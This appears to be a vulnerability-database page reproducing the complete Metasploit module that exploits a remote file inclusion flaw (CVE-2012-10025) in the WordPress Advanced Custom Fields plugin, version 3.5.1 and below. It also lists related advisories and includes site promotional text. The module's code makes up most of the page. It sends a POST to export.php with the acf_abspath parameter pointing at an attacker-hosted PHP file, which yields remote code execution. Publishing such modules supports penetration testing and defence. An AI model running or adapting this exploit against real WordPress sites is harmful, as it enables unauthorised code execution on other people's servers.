WordPress Plugin Advanced Custom Fields - Remote File Inclusion (RFI) (Metasploit)
WordPress Plugin Advanced Custom Fields Remote File Inclusio
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2012-10025 | 5 Aug 202520:06 | – | attackerkb | |
| CVE-2012-10025 | 29 May 201815:50 | – | circl | |
| WordPress plugin Advanced Custom Fields has a security vulnerability | 5 Aug 202500:00 | – | cnnvd | |
| CVE-2012-10025 | 5 Aug 202520:06 | – | cve | |
| CVE-2012-10025 WordPress Plugin Advanced Custom Fields <= 3.5.1 Remote File Inclusion | 5 Aug 202520:06 | – | cvelist | |
| EUVD-2012-6571 | 7 Oct 202500:30 | – | euvd | |
| WordPress Plugin Advanced Custom Fields Remote File Inclusion | 14 Nov 201200:00 | – | metasploit | |
| CVE-2012-10025 | 5 Aug 202520:15 | – | nvd | |
| PT-2025-31977 · WordPress · Advanced Custom Fields Pro +1 | 5 Aug 202500:00 | – | ptsecurity | |
| CVE-2012-10025: Improper Control of Filename for Include/Require Statement in PHP Program | 5 Aug 202500:00 | – | rapid7 |
10
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
'Description' => %q{
This module exploits a remote file inclusion flaw in the WordPress blogging
software plugin known as Advanced Custom Fields. The vulnerability allows for remote
file inclusion and remote code execution via the export.php script. The Advanced
Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
works when the php option allow_url_include is set to On (Default Off).
},
'Author' =>
[
'Charlie Eriksen <[email protected]>',
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '87353'],
['URL', 'http://secunia.com/advisories/51037/'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 14 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
], self.class)
end
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
uri << datastore['PLUGINSPATH']
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}advanced-custom-fields/core/api.php"
})
if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def php_exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
uri << datastore['PLUGINSPATH']
uri << '/' if uri[-1,1] != '/'
print_status('Sending request')
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}advanced-custom-fields/core/actions/export.php",
'data' => "acf_abspath=#{php_include_url}"
})
if res and res.body =~ /allow_url_include/
fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled')
elsif res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 410
EPSS0.09166
SSVC